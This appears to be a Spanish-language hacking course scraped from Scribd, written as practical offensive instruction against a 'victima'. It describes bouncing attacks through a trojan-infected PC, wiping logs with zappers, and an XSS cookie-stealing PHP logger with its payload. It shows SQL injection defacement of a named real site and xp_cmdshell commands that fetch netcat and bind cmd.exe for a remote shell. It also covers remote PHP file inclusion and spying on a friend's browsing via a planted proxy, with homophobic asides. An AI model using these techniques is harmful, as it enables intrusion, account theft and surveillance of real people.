0% encontró este documento útil (0 votos)
135 vistas14 páginas

Curso de Hacking

El documento explica cómo identificar sistemas remotos para realizar hacking ético. Detalla dos métodos, Nmap y Languard Network Security Scaner, para escanear puertos abiertos y sistemas operativos. También explica cómo buscar vulnerabilidades conocidas en los servicios identificados a través de SecurityFocus y potencialmente explotarlas con exploits de código abierto.

Cargado por

francisco lopez
Derechos de autor
© © All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como DOC, PDF, TXT o lee en línea desde Scribd
0% encontró este documento útil (0 votos)
135 vistas14 páginas

Curso de Hacking

El documento explica cómo identificar sistemas remotos para realizar hacking ético. Detalla dos métodos, Nmap y Languard Network Security Scaner, para escanear puertos abiertos y sistemas operativos. También explica cómo buscar vulnerabilidades conocidas en los servicios identificados a través de SecurityFocus y potencialmente explotarlas con exploits de código abierto.

Cargado por

francisco lopez
Derechos de autor
© © All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como DOC, PDF, TXT o lee en línea desde Scribd
Está en la página 1/ 14

no podria existir ningun curso de hacking, sin una explicacion de la identificacion.

todos deberiamos saber, i si no es asi, sabremos mas adelante que el hacking consiste en
descubrir/buscar/documentarse acerca de bugs (agujera de seguridad) en el software usado en la
maquina objetivo y en su posterior explotacion para conseguir resultados inesperados por el
administrador.

sin embargo, muchos de los que empiezan, no saben como hacer esto, ya que no saben identificar
el software en la maquina objetivo, asi que antes de pasar a temas mas serios (e interesantes)
debemos conocer a nuestro enemigo.

bien, existen dos formas de ataque claramente diferenciadas, local y remoto, local es con acceso a
la maquina, quitarse las restricciones y remoto es conseguir acceso a una maquina que esta en
una misma red que tu (pudiendo ser internet) y en la mayoria de los casos, lograr el acceso
maximo en contra de lo que en principio decian las restricciones del sistema.

bien nos basaremos en los remotos, que son los que no interesan de forma inmediata.

lo primero para poder saber algo del sistema, es saber que puertos tiene abiertos y que sistema
operativo utiliza.

para saber que puertos tiene abiertos si estas usando windows recomiendo Languard Network
Security Scaner, este ya te dira que puertos tiene abiertos y que programas administran estos
puertos, es decir, que programa se encarga de tratar la informacion que llega por ellos, y tambien
nos dira el sistema operativo de la maquina remota.

tambien puedes usar nmap que determina con mas exactitud todos estos datos puedes usarlo asi:

nmap example.com -sV -O

-O = determina el s.o.

-sV = determina los programas que gestionan los puertos (daemons)

si la maquina remota no responde a pings puedes usar la opcion -P0 para que la escanee de todas
formas.

si estas usando linux puedes usar nmap y funciona igual que el de windows.

una vez tenemos toda la informacion apuntamos todo en un archivo de texto (victima.txt xDDD) y
ya tenemos la primera fase para un ataque….

bien, ya tenemos el sistema identificado! sabemos que puertos tiene abiertos y que daemons
(programas) los gestionan, y a ser posible sus versiones (esto lo vimos en la primera aportacion k
hice) bueno, hasta aki estoi seguro k mucho ya sabian hacerlo, pero ahora k? k podemos hacer
ahora?

bien, empezaremos por lo facil, buscaremos si los daemons que corre el servidor tienen errores de
seguridad conocidos:

www.securityfocus.com/bid/title

ahi elegimos el nombre del daemon, i nos saldra una lista de errrores k son los k posee el
daemon, nada mas al un error nos dice a k version afecta, en la pestaña discussion nos explica en
k se basa el error, i en la seccion exploits es posible k haya codigos para llevar a la practiva la
explotacion del bug, en credits nos diran kien descubrio el bug y en solution como parchearlo.

pero, que bugs puede tener un daemon habitualmente?


bueno, existen varios tipos de bugs, dependiendo de k atakemos, ahora estamos hablando de
atacar los daemons del sistema, asi que los bugs mas habituales son:

Buffer Overflow
Password bypass
Memory exahustation
Brute forcing

el primero, los Buffer overflow, es el MAS IMPORTANTE bug que debe conocer un hacker,
alguien k no conozca los buffers overflow a fondo, NUNCA llegara a nada en el hacking.

Vereis los programas se hacen en lenguages de programacion, la gente dice que tras compilarlos
pasan a ser codigo maquina y ya no importa en que fueron programados, pero esto no es cierto,
diferentes lenguages de programacion al ser compilados estructuran el codigo makina de maneras
diferentes.

existe un lenguage bastante potente y tambien bastante antiguo, el lenguage C, en el k fue escrito
Unix, Minix, Linux, SunOS y Windows (el ultimo parece a veces echo en basic xD)

En el lenguage C existe un pekeño problema con el tratamiento de las cadenas de caracteres


(char) o tmb llamadas arrays.

el problema reside en k C no tiene ningun metodo para comprobar si se ha llegado al final de la


cadena, es decir si por ejemplo intentamos escribir “hackgeneral” en un array de 2 chars (char
variable[2] C no dira k eso no podemos hacerlo, i una vez compilado no lo evitara, de forma k
continuaremos escribiendo mas haya del array.

pero si el programa tenia reservados 2 bytes y escribimos la palabra hackgeneral en el, y el


programa no lo evita, donde va a parar lo k sobra? va a parar a la memoria, a lugares k a simple
vista parecen imprevisibles pero no lo son tanto…

vereis en los lenguages de programacion de alto nivel existen lo k llamamos funciones, k son
rutinas que se ejecutan con unos valores de entrada, i cuando terminan devuelven o no un valor i
continua la ejecucion desde el punto en donde se llamo a la funcion, sin embargo este no es un
comportamiento propio de un sistema informatico, i el lenguage makina para llegar a este nivel de
abstraccion hace uso de la funcion en assembler call, la cual lo k hace es saltar a un punto del
programa i cuando se encuentra la instruccion ret (return) vuelve a donde estava, para lograr
esto, call lo k hace es almacenar la direccion actual en la pila (stack) y saltar, luego cuando
encuentra ret, recoje la instruccion de la pila i salta a ella…

imaginemos de nuevo un programa en C con una variable llamada: var1, es un array de char de 2
caracteres, intentamos meter hackgeneral en ella, se desborda i la cosa keda asi:

ha ckgeneral

la “ha” keda dentro de la variable var1 i “ckgeneral” keda mas haya de la variable i k hay mas
haya? la pila!

wowowowowow!!!!!!

un ejemplo, si desbordamos la variable var1 con “AAAAAAAAAAAAAA” nos daremos cuenta k la A


en hexadeciam les 0×41 i si pensamos un poco, la instruccion call habia apilado en la pila la
direccion de retorno para regresar, ahora hemos llenado un trozo de la pila con AAAAAA por lo
cual la direccion de retorno ha sido sobreescrita i ahora el programa al terminar la funcion saltara
a 0×41414141

bueno, hasta aki todo bien…parece sencillo, pero esto para k nos sirve en terminos de hacking
hablando? para todo!!!

el virus blaster i sasser, todos los exploits k dan root (la mayoria, bueno) etc utilizan buffers
overflow… esto ha sido una mini introduccion si kereis mas informacion acerca de buffers
overflows (recomiendo retieradamente comprenderlos al maximo)
http://personal.telefonica.terra.es/web/alexb/manuales/pila.zip

ese es el documento mas detallado sobre ellos, escrito por alephone, moderador de la lista
bugtraq (securityfocus, en 1996) i traducido por honoriak para la phrhack 49.

Password bypass

en algunos programas existen errores k hacen k al llevarlos a ciertas cirscumstancias nos dejan
entrar sin contraseña, o bien k de alguna manera podemos acceder directament a archivos
teoricamente restringidos.

Memory exahustation.

se trata basicamente de consumir la memoria de la makina victima, para haceros a la idea,


imaginemos k un servidor web consume 1 byte de memoria cada vez k le enviamos una peticion
especialmente construida con 255 barras (/) por ejemplo, k pasaria si programamos un exploit k
empieza a hacer peticiones con 255 (/) muy rapido? al cabo de un rato el servidor caeria por falta
de memoria, esto era solo un ejemplo.

brute forcing

estos atakes a simple vista parecen simples, el echo de probar miles i miles de contraseñas…
parece algo inutil, sin embargo io puedo decir k con este metodo he hackeado muchos
servidores…algunos softwares tiene el errror de no restringir el numero de intentos i podemos
estar probando con algun programa toda una noche…es bastante probable acertar.

una vez estamos en securityfocus i tenemos localizados los bugs k tienen los daemons de nuestra
victima, anotamos todo en nuestro ducmento victima.txt o en uno al lado llamado: bugs.txt

lo siguiente k diremos: bien pero como ataco io?

bueno, en todos los bugs encontrados miramos a ver si disponen de exploits en la pestaña exploit,
en caso afirmativo lo guardamos en nuestra pc.

una vez hemos reunido todo los exploits k posiblemente afectan a la makina victima, veremos k
hay muchos k son .c i otros k son .pl.

los primeros con programas en C, normalmente para explotar buffer overflow (ironico verdad?) i
se compilan con visual studio siempre i cuando sean estos para windows, en caso de ser para linux
(el exploit) necesitaremos un linux, pero trankilos mas adelante veremos como solo con windows
podemos incluso usar exploits k teoricamente con solo para linux (primero kiero ver si
comprendeis todo esto, k se k es duro)

lo k son .pl son exploits programados en lenguage perl, pueden ser ejecutados con active perl
(podeis bajarlo de internet) o con linux escribiendo perl archivo.pl

bueno llegados aki kiero k buskeis ampliar esto por internet, hagais ensallos etc, i si veo k lo
comprendeis en la proxima entrega usaremos lo exploits k hemos recopilado

bueno, en la anterior aportacion reunimos exploits de securityfocus los cuales parecian afectar a la
makina victima…

es el momento de utilizarlos, normalmente tardaras much en empezar a tener exito, pero no t


impacientes.

lo primero k debemos hacer es instalar visual c++, es un compilador de microsoft muy bueno.
cojemos el primer exploits, lo copias de securityfocus i lo pegamos dentro de un archivo con la
extension .c .cpp o .pl depende como estuviese en securityfocus.

si la extension es .c o .cpp significa k lo compilaremos con vc++, ia k es c o c++, hacemos doble


click en el archivo, vamos a build y luego a build.

si todo va bien, aparecera un exe en una carpeta llamada debug, junto al codigo fuente (archivo c
o cpp), bien ese archivo, es un archivo k funciona por comandos, es decir, desde ms-dos, lo
copiamos a C: para ir mas rapido, abrimos una consola de ms-dos i escribimos: cd C: y luego el
nombre del exe del exploit.

ejemplo:

http://hackme.almacenweb.com/shell.jpg

como veis, el exploit nos indica que hay que usarlo asi: exploit.exe ipdelavictima

asi k si kisieramos atacar en la consola escribiriamos:

exploit.exe victima.com

no todos los exploits son iguales, esto ha sido un ejemplo, distintos exploits tienen distintas
instrucciones de uso y formas de atake.

los exploits en perl, hay k bajarse active perl para ejecutarlo, una vez con active perl se usan igual
k lo exe, es decir, copiamos el exploit.pl a C: i hacemos cd C: y luego: exploit.pl y el nos dira la
forma en que hemos de lanzarlo, es decir, las instrucciones.

siempre k en un exploit escribamos mal los parametros (ip dela victima o lo k pida) volvera a
mostrar las instrucciones.

bueno, es posible k con los exploits no tengais exito, son bastantes complejos y con posibilidades
a veces bajas…asi k nos adentraremos en una nueva tecnica:

php file inclusión

Hay varios metodos para ocultar nuestra ip… Pero vereis ocultar exactamente no podemos
hacerlo, ia k los paketes tcp/ip necesitan llevar nuestra ip por k si no no veriamos las respuestas
del server entonces como ocultarnos?

Bueno la idea es la siguiente:

Hacemos pasar los paketes por un pc intermedio al nuestro, como? bien infectamos por ejemplo
un pc de un pringao con optix pro i hacemos k todo lo k llegue a un puerto determinado lo
redireccione a un host determinado i lo k ese host le conteste nos lo redireccione a nosotros asi:

Pakete nuestro

pc infectado

makina victima

Nosotros enviamos el atake a pc infectado k lo rebota a makina victima i makina victima contesta
a pc infectado, el cual nos contesta a nosotros..

A esto se le llama bouncer

NOTA: LOS PROXYS SOLO SIRVEN PARA NAVEGAR.


De esta forma la ip k keda en los logs es la de pc infectado, muchos troyanos tienen para
redireccionar puertos

En optix pro 1.33 esta en port redirect.

Metodo 2:

Conseguir una shell, k alguien t la pase o sacarla de otro server mas debil i dejado i atacar desde
ahi i luego borrar los logs del server victima i el server k usastes para atacar.

Existen muchos otros sistemas, intentar hacerlo i postear como os va i preguntar mas…

Una cosa: un hacker elegante siempre utiliza metodos de ocultacion como bouncers o shells
remotas, pero aparte de eso borra los logs con zappers, los zappers se compilan i se ejecutan
normalmente con argumento el username k kieres borrar de los logs asi por ejemplo:

gcc zap.c -o zap


./zap root

bueno empezemos el juego, mucha gente conoce los cross site scripting….

hace un buen dia, el sol ha salido, un joven español se levanta por la mañana (o mejicano, kien
sabe) abre su Konqueror o Mozilla firefox (o internet explorer de microsoft si no le preocupa su
seguridad i utiliza windows, cosa respetable) i entra a

www.securityfocus.com/archive/1

para ver k bugs salieron hoy, va revisando posts i lee:

XSS in phpbb all version

por poner un ejemplo, XSS es la abreviatura de cross site scripting, i phpbb un sistema de foros
basado en php + mysql, esto era solo un ejemplo, k conste, XSS hay en muchos productos.

el joven k lleva unos meses en el hacking i aun no sabe mucho, ni si kiera lo habre pensando: va,
un xss para k lo kiero? si lo maximo k se puede hacer es alert(documment.cookie) o ni si kiera
sabe eso…

acaba de perder la oportunidad de su vida!

bueno sin exagerar, lo k el joven no sabe es k con eso podria haver hackeado, si si, defaceado un
phpbb, solo con un tan injustamente llamado XSS, pero k es un XSS…veamoslo

los navegadores convencionales tienen la capacidad de ejecutar codigo javascript, k es un codigo k


se ejecuta en el navegador cuando la pagina es visualizada, no se ejecuta en el servidor como lo
haria php, sino k el codigo javascript se ejecuta en el navegador de kien visita la web, i sirve para
millones de cosas, ventanitas de alerta, i miles de cosas mas.

imaginemos lo siguiente, una pagina la cual tiene un sitio k pone ultimos usuarios registrados:

i sale una lista como podria ser esta:

-jocanor
-ramgo
-edy
-paranoik
-spushan
-DragoN
bueno, una mente muy retorcida como la mia podria decir…bien k me impide a mi registrarme con
el nombre:

*script* al3rt(’hacked by jocanor’) */script*

i cuando aparezca la lista de ultimos usuarios registrados i intente visualizar *script* al3rt(’hacked
by jocanor’) *script*, el navegador vera k es javascript i lo ejecutara en lugar de visualizarlo, con
lo cual a cualkiera k entre le aparecera una caja de mensaje en la k pondra:

hacked by jocanor

vaia, si parece k seamos hackers i todos, i solo hemos registrado un usuario

sigamos con un ejemplo mas practico…

muchas paginas, son conscientes de esto, i filtran el contenido de lo k introducimos i no podemos


hacerlo, pero muchas otras no lo hacen, imaginemos un tagboard muy sencillito k no lo filtre,
posteamos en el tagboard:

*script* al3rt(’hacked by jocanor’) */script*

i todo el k entre le saltara el mensaje, esto se lo hice a juanillo_killo en su web (usuario de estos
foros) me rei mucho xD

continuamos con atakes mas potentes usando XSS

imaginemos k nos dicen k existe un error de XSS en una variable de un foro k todo el k entre en la
direccion especialmente construida:

www.hackeame.com/index.php?usuario=foo&sotby=name&sesion=*script* al3rt(’hacked by
jocanor’) */script*

le aparece una cajita de mensaje, diriamos: i de k sirve, cuando alguien entre a la web no vera
nada, solo vera el cartel el k entre a la web especialmente construdia, no sirve para nada…grave
error pensar eso…

por k…kien dice k lo unico ha hacer es ejecutar mensajitos?

tmb podemos robar cookies!!!!!!

vereis, solo tiene acceso a la cookie la web k la creo, pero si estamos diciendo k nosotros podemos
ejecutar codigo javascript construiendo direcciones espcialmente diseñadas para ello, el navegador
ve k la web es la k creo la cookie i nos deja verla…ejemplifikemos esto k se k asusta un poco:

nos conectamos al msn, estamos hablando con algunas amigas (lo se, siempre pensando en
chicas xD)
i se conecta un amigo newbie, nos dice k en una pagina porno k rekiere autentificacion para
descargar videos i k hay k pagar tiene un bug de xss k seria asi:

www.pagina.com/index.php?video=codigojavascriptaki

i se ejecutaria, me direis como robo io los videos?

pues bien lo k haremos sera robar la cookie de un usuario…ponerla en nuestro navegador i nada
mas entrar estaremos logueados susponiendo k el usuario tuviese activado recordar contraseña
xD

nos creamos una pagina en cualkier hosting gratuito i alli hospedamos un archivo llamado
cookies.php
con el siguiente codigo:

*?
$cookie = $_GET['cookie'];
$fff = fopen(”archivo.txt”,”a”);
fwrite($fff, “$cookie n”);
fclose($fff);
?*

ahora construmos la url asi:

www.pagina.com/index.php (sigue abajo)


?video=*script*window.location=’http://www.hacker.com/cookies.php?
cookie=’+document.cookie;*/script*

i hacemos k algun usuario de la pagina porno entre al enlace hablando con el, mandandole un mail
etc, automaticamente tendremos su cookie en archivo.txt

la recogemos, ponemos lo k hay dentro en una cookie para pagina.com i la metemos en la carpeta
de cookies de nuestro navegador i entramos, automaticamente seremos el user al k le robamos la
cookie.

atencion: este atake es MUY complejo de llevar a la practica, si no lo has comprendido o no t ves
capaz, no t preocupes

si lo has comprendido del todo i crees k puedes hacerlo, entonces puedes ir pensando k tienes
posiblidades en el hacking…

saludos i suerte

Por favor cambiar los * por > o < y el 3 por e ok ;) att: DragoN

Bien, hacia tiempo que no sacaba una nueva entrega del curso…siento el retraso..

ia sabeis k a mi los problemas personales me llueven…pero sobrevivo…en fin

se meh a ocurrido que seria interesante explicar una tecnica que muchos creen que no sirve de
muchos mas que hackear foros phpbb, i con la cual, ya he sacado shell en sistemas, defaceado
webs tan importantes como la del govierno de mi pais etc…

sql injection, pero k es?

vereis, voi a tratar de explicar en que consisten los sql injection…durante el manual me voi a
referir a paginas en asp con una base de datos MSSQL.

los sql injection son un bug que permite que un usuario malintencionado (nosotros) realize
consultas a la base de datos de la pagina vulnerable.

el problema reside en k muchos MSSQL corren con permisos de sistema (la famosa cuenta SA de
MSSQL tiene permisos de sistema y es la cuenta por defecto, suena bien no?)

asi que veamos…como saber si una web es vulnerable a sql injection?

bueno, no suelo hacer los ejemplos con paginas reales, pero esta vez voi a hacer una excepcion i
asi entendereis mejor la tecnica, si cuando leais el articulo ia no es vulnerable, buscad paginas
parecidas.

http://www.compolaser.com/
hace unos dias entre a esta web, i me dije: voi a hacer algo aki…
el problema era k no parecia muy vulnerable, cuakiera hubiese sacado su nmap o su nessus i se
hubiese puesto a escanear, sin embargo se me ocurrio algo distinto…
por k no pruebo con webhack? (hackeo a la web i no al server, por ejemplo el cross site scripting,
k lo vimos en la entrega anterior)

asi k vi k havia una seccion noticias…i k recivia un dato a traves de la url…

http://www.compolaser.com/Noticias.asp?Id=54

donde 54 es el numero de la noticia…una vez vi esto ia me di cuenta que seguro k esta web tenia
una base de datos i k usaba IIS i seguramente mssql, asi k probé:

http://www.compolaser.com/Noticias.asp?Id=’

i sucedio lo siguiente:
QUOTE
Microsoft OLE DB Provider for SQL Server error ‘80040e14′

Comilla no cerrada antes de la cadena de caracteres ‘ ORDER BY fecha DESC;’.

/Noticias.asp, line 24

wou! tenemos un sql injection en esta pagina…pero como lo se?

vereis, la pagina lo que ha echo es:

Select * from Noticias where id = ID ORDER BY fecha DESC

seria algo parecido a esto, ID representa el numerito que le pasamos por la url

(en sql el caracter ‘ delimita el principio o el final de una cadena)

cuando nosotros hicimos:

http://www.compolaser.com/Noticias.asp?Id=’

la sentencia final kedo asi:

Select * from Noticias where id = ‘ ORDER BY fecha DESC

aki falla algo verdad? SIEMPRE k se habre una comilla hay k cerrarla, de ahi el error que dice que
no cerramos la comilla…

bueno…esto nos lleva a pensar…ostia, podemos modificar la sentencia? entonces podemos alterar
la base de datos no? la respuesta es si.

veamos…lo primero que deberiamos hacer es averiguar como se estructura la base de datos, es
decir:

como se llama la tabla que contiene informacion de las noticias?

y que registros tiene?

bien, solo se trata de hacer las preguntas correctas:

http://www.compolaser.com/Noticias.asp?Id=…0having%201=1–

esto provocara un error en mssql que nos desvelara que la tabla se llama:
Noticias

y que el primer registro es: id

QUOTE
Microsoft OLE DB Provider for SQL Server error ‘80040e14′

La columna ‘noticias.Id’ de la lista de selección no es válida, porque no está contenida en una


función de agregado y no hay cláusula GROUP BY.

/Noticias.asp, line 24

interesante…si kereis saber por k ocurre esto, buscad lo k hace el comando having wink.gif

el “–” al final lo ponemos para k piense k lo k sigue es un comentario en el codigo (igual k en C los
comentarios son: //)

seguimos desvelando:

http://www.compolaser.com/Noticias.asp?Id=…0having%201=1–

hemos echo:

group by Noticias.id having 1=1–

por k Noticias.id? por k es el primer registro…

seguimos averiguando:

http://www.compolaser.com/Noticias.asp?Id=…0having%201=1–

bueno, parece que aki nos dan toda la informaicon que queremos, hay un segundo registro
llamado:

noticias.Resumen

QUOTE
Microsoft OLE DB Provider for SQL Server error ‘80040e14′

La columna ‘noticias.Resumen’ de la lista de selección no es válida, porque no está contenida en


una función de agregado ni en la cláusula GROUP BY.

/Noticias.asp, line 24

podriamos ir sacando mas i mas registros asi:

group by noticias.id, noticias.titulo having 1=1–

i asi, añadiendo con comas lo k nos va diciendo, llegariamos al final…pero de momento nos
conformamos con modificar el titulo, pero como modificamos Noticias.titulo?

bueno pues hay un comando en sql llamado update que modifica el contenido de un registro de
una tabla, se usa asi:

update tabla set registro=’nuevo valor’

pues bien, es facil saber que hacer ahora:


update noticias set titulo = ‘hackeados por jocanor’

i como hay k hacer k el resto sea un comentario:

update noticias set titulo = ‘hackeados por jocanor’–

asi k la sentencia final seria:

http://www.compolaser.com/Noticias.asp?Id=…0jocanor’–

y tachan tachan! si entrais a:

http://www.compolaser.com/Noticias.asp

vereis k todos los registros noticias.titulo han sido defaceados xD

como sacar shell con sql injection?

esto es una tecnica avanzada i k no funciona siempre, pero puede funcionar…

vereis, mssql tiene unos scripts para ejecutar cosas etc…asi k jugaremos con uno de esos scripts,
para ejecutar cualkier comando de ms-dos:

; exec master..xp_cmdshell ‘ping 10.10.1.2′–

esto haria un ping a 10.10.1.2.

asi k sacar shell es tan facil como poner en nuestra makina (supongamos k nuestra makina es
1.2.3.4) un servidor tftp con un archivo llamado nc.exe (un netcat)

hacemos:

exec master..xp_cmdshell ‘tftp -i 1.2.3.4 get nc.exe C:nc.exe’–

exec master..xp_cmdshell ‘c:nc.exe –l –p 8000 –e cmd.exe’ –-

ahora abrimos telnet a la makian victima en el puerto 8000 y tenemos una shell biggrin.gif

bueno, este articulo era de nivel avanzado, lo siento por los muy newbies, pero la gente con nivel
medio me pedia k pusiera algo interesante i de nivel, la proxima entrega sera para los
principiantes, lo prometo.

6
saludos aki tenemos la septima aportacion…

ha pasado mucho tiempo desde la sexta (6), problemas personales, estudios, etc

pero lo prometido es deuda, i aki teneis el articulo sobre php file inclusion…

php es un lenguage de programacion web k permite no solo visualizar datos, realizar calculos etc,
como los lenguages web clasicos, sino k permite tmb ejecutar comandos en el servidor (comandos
shell), modificar archivos, etc …

detalles previos:

1. un servidor para poder servir paginas php debe tener el php instalado i el servidor web
configurado para trabajar con el

2. php es un lenguage parecido a c, por lo cual, las consecuencias de en una situacion especial,
poder llegar a introducir un archivo php en el contexto del servidor es comparable con poder
compilar i ejecutar cualkier codigo en c en el contexto del servidor (esto tecnicamnte no es asi,
pero lo asumiremos para k os hagais a la idea)

3. lo k trataremos aki se refiere a sistemas unix, aunke php no tiene ningun problema de
incomptabilidades con windows, podria aplicarse a windows con las consecuentes adaptaciones,
pero el 99% de servers son unix o derviados (vease linux) asi k trataremos este ultimo.

4. en los sistemas unix/linux (los tratados aki) el php es habitual i en el 99% de los casos se
cumple, k el php tenga permisos de nobody, pero en ocasiones tiene permisos del usuario web (el
k la cuelga etc..), en la practica nos da igual los permisos k tenga php.

5. php tiene una opcion llamada safemode, si esa opcion se encuentra activada (por defecto: no)
el servidor no sera vulnerable.

empezemos…el php tiene una funcion llamada include la cual sirve para pasarle la ejecucion a otro
script php, de forma k si tenemos un archivo php llamado a.php i otro llamado b.php podriamos
hacer un include en a.php k apunte a b.php i cuando un usuario hiciese:

www.example.com/a.php veria b.php, ia k ha sido incluido.

bien, esto nos lleva a pensar en esas paginas k todos hemos visto alguna vez:

www.example.com/index.php?seccion=descargas

bien, lo k ocurre aki es k index.php recive a traves de la url la variable seccion, luego si la pagina
es vulnerable (ahora entendereis por k) index.php cojera descargas i le añadira al final .php i lo
incluira, haciendo asi el include a:

descargas.php

k ocurrira si nos creamos un hosting en almacenweb.com o algun otro servicio de hostings


gratuitos i subimos un archivo llamado: hack.php i luego vamos a la pagina vulnerable i hacemos:

www.example.com/index.php?seccion=http://www.paginahacker.com/hack

cojera, le añadira a la variable seccion al final un .php i hara un include, incluyendo asi:

http://www.paginahacker.com/hack.php

bien, esto nos lleva a pensar k podemos ejecutar cualkier archivo php en el servidor, i es cierto,
este agujero es critico.
existen comandos php para modifcar archivos (siempre k tengamos permisos) ejecutar comandos
etc…

nota: muchos lammers creidos, niñatos i gente abusrda i molesta solo conocen esta tecnica i se
dedican a decir k son hackers, espero k nadie aprenda esto i solo por poder hackear servidor asi,
se kede estancado.

respasando terminos menos usados

veries, os presento la octava aportacion con algo k crei muy importante, en el hacking uno tiene a
menudo muy claro ciertos conecptos i a veces se encuentra ante un problema k puede parecer
insuperable, i no lo seria si el hacker conociese todas las tecnicas existentes, es importante
conocer tecnicas minoritarias…

aki vamos a dar una vista rapida a las siguientes tecnicas poco conocidas por norma general:

man in the midle

sniffing

1. man in the midle

este tipo de atakes engloba cualkier atake en el cual el resultado sea k el atacante kede situado en
medio de una comunicacion entre un cliente i un servidor, podriamos poner como ejemplo…vamos
a casa de un amigo del cual sospechamos k es homosexual i sabemos k posiblemente visita
paginas con contenido obsceno de hombres con otros hombres, ante tal aberracion t asustas i k
haces? como puedes saberlo? tu amigo se va un momento i descubres k no se guarda el historial
por k ha sido desactivado i k tmp se acepta ninguna cookie i k las ultimas url tipeadas tmb se
borran automaticamente, no hay ni rastro, estaras toda la vida pensando k a lo mejor tu amigo es
gay? no!

ahora imaginaos k antes de salir de casa haveis situado algun tipo de servidor en vuestro pc k
recive coneixones http i las redirecciona, el resultado es k en el momento k nuestro amigo gay se
va, i nos deja solos, abrimos su navegador i en las opciones (sea el navegador k sea) situamos
como proxy la ip de nuestro pc, el k tenemos en casa k esta a la espera de conexiones, le damos a
aceptar i cuando nuestro amigo vuelve hacemos como k no sabemos nada.

el resultado es k todas las webs k visite pasaran antes por ti, tu las visitaras i se las reenviaras a
el, todo automaticamente i registrandose…gracias a dios un dia tu amigo empieza a ver webs
como www.petardas.com i nunca entra a la seccion gay, asi k descubres k en realidad es
homosexual, lo peor es k eso kiere decir k tus sospechas de k se lo montaba con tu novia son
ciertas xD

en fin, fuera de rodeos, esto es basicamente un man in the midle, el programa utilizado podria ser
el achilles para windows (k gente lammer creen k solo sirven de forma local, i no saben k pone el
5000 a la espera de conexiones por defecto)

existen otros man in the middle, muy variados, pero este seria el basico.

2. sniffing

en las redes ethernet k no utilizan un switch para interconectar los terminales, (el switch es
inteligente i evita esto) se puede sniffear datos…pero k es sniffear? vereis, segun lei en algun
manual de carolin meinel hace 2 años o por ahi, decia:

sniffiers: en ingles, del termino sniff, sorber

pero a mi k me importa lo k snigifike sniff i encima en ingles? por favor, io kiero aprender hacking
i ademas lo kiero en castellano (o español, como mas les guste)
bueno no me enrrollo mas, vereis en las redes ethernet, el sistema de direccionado de paketes (es
decir, el sistema k se usa para enviar i recivir paketes a kien deben ser enviados i no a otro) no se
basa en ip’s, en principio puede parecer k si, pero no es asi, se basa en direciones mac, k son
como unas ip’s internas de las tarjetas de red, cuando un usuario tipea la ip de otro en la red
ethernet, en realidad el protocolo arp encargado de las mac informa a ese usuario de cual es la
mac con la k debe establecer la comunicacion, es decir la mac asignada a esa ip.

pero lo k ocurre es k las tarjetas de red tienen un modo especial, llamado modo promiscuo…i
funciona asi, cuando un usuario tipea la ip de otro en la red ethernet, i el protocolo arp le kiere
decir la mac asignada a dicha ip, para poder conectar, el protocolo arp necesita un mecanismo
para saber dicha mac, i lo k hace es preguntarla i dice en la red:

kien es 192.168.0.6?

i el dueño contesta:

soi io i mi direccion mac es: xxxxxxxxx

i arp se la da al otro usuario i este envia la informacion

ahora bien, poner una tajeta en modo promiscuo significa hacer k cada k alguien pregunte, tu
tarjeta conteste, pregunten por kien pregunten, asi cuando pregunten:

kien es x.x.x.x

contestara su legitimo dueño:

soi io i mi direccion mac es: xxxxxxxx

i contestara tu tarjeta de red:

soi io i mi direccion mac es: xxxxxxx

asi k cuando el usuario envie los datos, le llegaran a su legitimo dueño en la red i tmb t llegaran a
ti xD

esto nos lleva a pensar k podemos robar contraseña o espiar conversaciones de msn etc…

pero, como detectar si hay alguien en modo promiscuo k nos puede estar espiando?

muy facil, hay scripts para ello en linux promisc_check o algo asi, pero vaia, k hay muchisimos, lo
k hacen estos scripts maravillosos i tan magicos es simplemente preguntar por una ip inexistente
en la red:

kien es 200.200.200.200?

i claro, no hay nadie, pero tu tarjeta de red k esta en promiscuo contesta:

soi io i mi direccion mac es: xxxxxxxx

t han pillao bacalao!!!!!!!!

aunke mas facil…k ocurriria si hiciecemos:

ping ipinexistente-en-la-red

respuesta desde xDDDDDDDDDDDDDDDDDDDDD

vaia, parece k hay un mentiroso xD


bueno, el man in the middle no es nada comune, pero el sniffing si k es comun i muy util,
podemos rootear un servidor, dejar un daemon corriendo k sniffee i loguee todo el rato i ir
entrando a ver los logs, asi sacaremos muchisima informacion i podremos incluso a hackear mas
pc’s dentro de una misma lan, habiendo conseguido uno.

saludos.

p.d. se k esta entrega el nivel ha subido mucho, pero es k ia estoi empezando a planificar poner
esto mas serio i doi por echo k estais leyendo por internet, he dejado mucho tiempo entre el 6 i el
7 para k aprendais, asi k nos vamos a ir poniendo serio, i es importante k lo practikeis dentro de
lo posible o buskeis mas documentacion i leais, esto solo es una guia fde como ir estudiando
hacking i una pekeña introduccion al mismo, prometo k si lo seguis i lo haceis en serio, llegareis a
hacer vuestros pinitios.

También podría gustarte